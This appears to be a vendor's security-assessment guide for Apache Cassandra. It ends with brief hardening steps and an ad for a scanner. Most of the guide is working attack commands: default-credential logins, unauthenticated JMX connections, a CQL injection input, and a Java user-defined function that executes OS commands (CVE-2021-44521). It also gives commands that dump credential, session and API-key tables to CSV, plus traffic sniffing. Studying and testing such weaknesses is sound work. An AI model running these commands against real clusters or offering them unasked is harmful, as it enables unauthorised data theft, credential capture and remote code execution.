Apache Cassandra is the go-to distributed database for high-scale applications, but its security defaults are notoriously weak: JMX (Java Management Extensions) is often unauthenticated on port 7199, default credentials ship as cassandra/cassandra, inter-node communication runs without mutual TLS, and the nodetool utility can be invoked remotely to dump keyspace data or execute management operations. This guide covers systematic Cassandra security assessment from network discovery through RCE validation.
| Port | Service | Attack Surface |
|---|---|---|
| 9042 | CQL native transport (client-server) | Authentication bypass, CQL injection, data exfiltration |
| 9160 | Thrift API (legacy) | Unauthenticated access on old clusters, deprecated but still present |
| 7199 | JMX (Java Management Extensions) | Remote code execution, MBean exploitation, credential dump |
| 7000 | Inter-node gossip (non-TLS) | Cluster topology enumeration, gossip injection |
| 7001 | Inter-node gossip (TLS) | Certificate validation bypass, mutual auth check |
| 8080 | Prometheus metrics (optional) | Cluster topology, performance data without auth |
# Discover Cassandra nodes
nmap -sV -p 9042,9160,7199,7000,7001 --script cassandra-info TARGET
# Cassandra version and cluster name via CQL
nc -w 3 TARGET 9042 2>/dev/null | strings | grep -i "cassandra\|cluster"
# JMX port check
nmap -sV -p 7199 --script rmi-dumpregistry TARGET
# Check if Prometheus metrics endpoint is exposed
curl -s http://TARGET:8080/metrics | grep -E "cassandra_|# HELP" | head -20
# Default Cassandra credentials: cassandra/cassandra
# Many deployments never change them
# Test with cqlsh
cqlsh TARGET 9042 -u cassandra -p cassandra
# If successful — list all keyspaces
cqlsh TARGET 9042 -u cassandra -p cassandra -e "DESCRIBE KEYSPACES;"
# Enumerate superusers
cqlsh TARGET 9042 -u cassandra -p cassandra -e "LIST ALL;"
cqlsh TARGET 9042 -u cassandra -p cassandra -e "SELECT role, is_superuser, can_login FROM system_auth.roles;"
# Check if authentication is enabled at all
# When auth is disabled (authenticator: AllowAllAuthenticator), any credentials work
cqlsh TARGET 9042 -u anyuser -p anypassword -e "DESCRIBE KEYSPACES;" 2>&1
# Success with garbage credentials → AllowAllAuthenticator = no auth
# Check cassandra.yaml for auth configuration (if file access available)
grep -E "authenticator|authorizer" /etc/cassandra/cassandra.yaml
# authenticator: AllowAllAuthenticator → unauthenticated access
# authenticator: PasswordAuthenticator → credential-based auth
Cassandra exposes JMX on port 7199 for management operations. If unauthenticated, an attacker can invoke StorageService MBeans to snapshot data, reload configuration, or execute arbitrary code via the executeOnMBean path.
# Check if JMX requires authentication
# Attempt to connect without credentials
jrunscript -e "
var jmxUrl = new javax.management.remote.JMXServiceURL(
'service:jmx:rmi:///jndi/rmi://TARGET:7199/jmxrmi');
var connector = javax.management.remote.JMXConnectorFactory.connect(jmxUrl, null);
var mbsc = connector.getMBeanServerConnection();
print('Connected! MBeans: ' + mbsc.getMBeanCount());
connector.close();
" 2>&1 | head -10
# "Connected! MBeans: XXX" → unauthenticated JMX access
# Using jmxterm (interactive JMX client)
java -jar jmxterm.jar
> open TARGET:7199
> beans # List all MBeans — reveals Cassandra management interface
> bean org.apache.cassandra.db:type=StorageService
> info
# Cassandra JMX dangerous operations (unauthenticated):
# 1. Take a snapshot of all keyspaces
> run takeSnapshot "" "" ""
# 2. Read token ring — reveals all node IPs and partitioner info
> run describeRing "system_auth"
# 3. Force compaction (potential DoS)
> bean org.apache.cassandra.db:type=CompactionManager
> run forceUserDefinedCompaction "target_keyspace" "target_table" ""
# 4. Get all live endpoints — full cluster topology
> bean org.apache.cassandra.db:type=StorageService
> get LiveNodes
# JMX RCE via MLet ClassLoader (if JMX version vulnerable)
# This is a well-known Java JMX attack — test if ClassLoaderRepository is accessible
java -cp ".:tools/jmxterm.jar" AttackJMX TARGET 7199
CQL (Cassandra Query Language) uses prepared statements, but applications that concatenate user input directly into CQL queries are vulnerable. The impact differs from SQL injection due to CQL's limited query capabilities, but data exfiltration via ALLOW FILTERING and partition key enumeration is realistic.
# Identify CQL injection points in web application requests
# Look for queries using user-controlled values for partition keys or ALLOW FILTERING
# Basic injection test — inject single quote to cause syntax error
# Vulnerable application code example (Python):
# query = f"SELECT * FROM users WHERE username = '{user_input}'"
# session.execute(query)
# Test input: ' OR '1'='1
# Cassandra CQL doesn't support OR in WHERE for secondary indexes like SQL,
# but quote injection can cause syntax errors that confirm injection points
# Example: application queries by user ID
# Inject into user_id field: '; DROP TABLE users; --
# Cassandra doesn't support ; in a query, but error response reveals injection
# Test for UDF (User-Defined Function) injection in Cassandra with Nashorn disabled
# CVE-2021-44521: UDF execution engine allowed arbitrary code execution
# Check if UDFs are enabled
cqlsh TARGET -u cassandra -p cassandra -e "DESCRIBE FUNCTIONS;"
# If functions exist: attempt Java UDF to read files
cqlsh TARGET -u cassandra -p cassandra -e "
CREATE OR REPLACE FUNCTION test_udf(input text)
RETURNS NULL ON NULL INPUT
RETURNS text
LANGUAGE java
AS 'return (new java.io.BufferedReader(
new java.io.InputStreamReader(
Runtime.getRuntime().exec(\"id\").getInputStream()
))).readLine();';
"
cqlsh TARGET -u cassandra -p cassandra -e "SELECT test_udf('') FROM system.local;"
# If CVE-2021-44521 exploitable → OS command execution as cassandra user
# Check Cassandra version for UDF CVE
cqlsh TARGET -u cassandra -p cassandra -e "SELECT release_version FROM system.local;"
# 3.0.x < 3.0.26, 3.11.x < 3.11.12, 4.0.x < 4.0.2 → vulnerable to CVE-2021-44521
# Cassandra inter-node gossip on port 7000 (no TLS) or 7001 (TLS)
# Check if TLS is enforced for inter-node communication
grep -E "server_encryption_options|internode_encryption" /etc/cassandra/cassandra.yaml
# internode_encryption: none → all inter-node traffic is plaintext
# internode_encryption: all → mutual TLS required
# Test: can we connect to the inter-node gossip port?
nmap -sV -p 7000,7001 TARGET
# If port 7000 is accessible: use cassandra-stress or nodetool to send gossip messages
# Sniff inter-node traffic on the cluster subnet (if on-path)
tcpdump -i eth0 -w /tmp/cassandra-internode.pcap -n "port 7000" &
sleep 30; kill %1
# Analyze for plaintext data in gossip messages
strings /tmp/cassandra-internode.pcap | grep -i "keyspace\|table\|token"
# Check if client-server encryption is enforced
grep -A 10 "client_encryption_options" /etc/cassandra/cassandra.yaml
# enabled: false → client connections are plaintext
# All credentials transmitted in plaintext (including AUTHENTICATE challenges)
# nodetool connects to Cassandra via JMX — if JMX is unauthenticated, nodetool works remotely
# nodetool -h TARGET -p 7199
# List keyspaces and tables (data topology enumeration)
nodetool -h TARGET -p 7199 status
nodetool -h TARGET -p 7199 describecluster
nodetool -h TARGET -p 7199 ring
# Read partition key ranges — helps target data exfiltration
nodetool -h TARGET -p 7199 getendpoints KEYSPACE TABLE "partition_key_value"
# Take snapshot of all keyspaces — backup to local filesystem
nodetool -h TARGET -p 7199 snapshot --tag security-test
# Snapshots are stored in Cassandra data directory:
# /var/lib/cassandra/data/KEYSPACE/TABLE-*/snapshots/security-test/
# If attacker has filesystem access or can read snapshot via JMX file path
# Force flush memtable to disk (useful for subsequent file system access)
nodetool -h TARGET -p 7199 flush
# Drain node (potential DoS — marks node as DOWN)
# nodetool -h TARGET -p 7199 drain # DANGEROUS — do not run in production
# Check nodetool auth enforcement
# cassandra.yaml jmx_authentication: true should be set
# and jmx.password file should exist
ls /etc/cassandra/jmxremote.password 2>/dev/null || echo "No JMX password file"
# Full data enumeration once authenticated (default creds or auth bypass)
# List all keyspaces
cqlsh TARGET -u cassandra -p cassandra -e "SELECT keyspace_name FROM system_schema.keyspaces;"
# List tables in all keyspaces
cqlsh TARGET -u cassandra -p cassandra -e "SELECT keyspace_name, table_name FROM system_schema.tables;"
# Dump sensitive tables — check for PII, credentials, tokens
# system_auth.credentials (Cassandra 2.x password hash storage)
cqlsh TARGET -u cassandra -p cassandra -e "SELECT * FROM system_auth.credentials LIMIT 10;"
# Custom application keyspaces — check for user tables
cqlsh TARGET -u cassandra -p cassandra <<'EOF'
USE application_keyspace;
SELECT * FROM users LIMIT 5;
SELECT * FROM sessions LIMIT 5;
SELECT * FROM api_keys LIMIT 5;
EOF
# Extract all data via COPY (exports to CSV)
cqlsh TARGET -u cassandra -p cassandra -e "COPY users TO '/tmp/users_dump.csv' WITH HEADER=true;"
# Check for ALLOW FILTERING queries in application (performance indicator of insecure query patterns)
# ALLOW FILTERING is a risk flag — full-table scans with filter can leak entire table
cassandra/cassandra credentials immediately — disable the default superuserauthenticator: PasswordAuthenticator and authorizer: CassandraAuthorizer in cassandra.yamlLOCAL_JMX=no and configure jmxremote.password-Djava.rmi.server.hostname=127.0.0.1internode_encryption: all) and client connectionsenable_user_defined_functions: false| Security Test | Method | Risk |
|---|---|---|
| Default cassandra/cassandra credentials | cqlsh with default creds | Critical |
| Unauthenticated JMX on port 7199 | jrunscript or jmxterm connect without creds | Critical |
| AllowAllAuthenticator (no auth) | cqlsh with random credentials | Critical |
| CVE-2021-44521 UDF RCE | Create Java UDF with exec() call | Critical |
| Plaintext inter-node gossip | Check internode_encryption setting | High |
| Plaintext client-server traffic | tcpdump on port 9042 — look for credentials | High |
| Unrestricted nodetool access | nodetool status from external host | High |
Ironimo tests your Cassandra deployment for default credential exposure, unauthenticated JMX access, CVE-2021-44521 UDF exploitation paths, inter-node TLS enforcement, and data exposure via unauthenticated CQL access.
Start free scan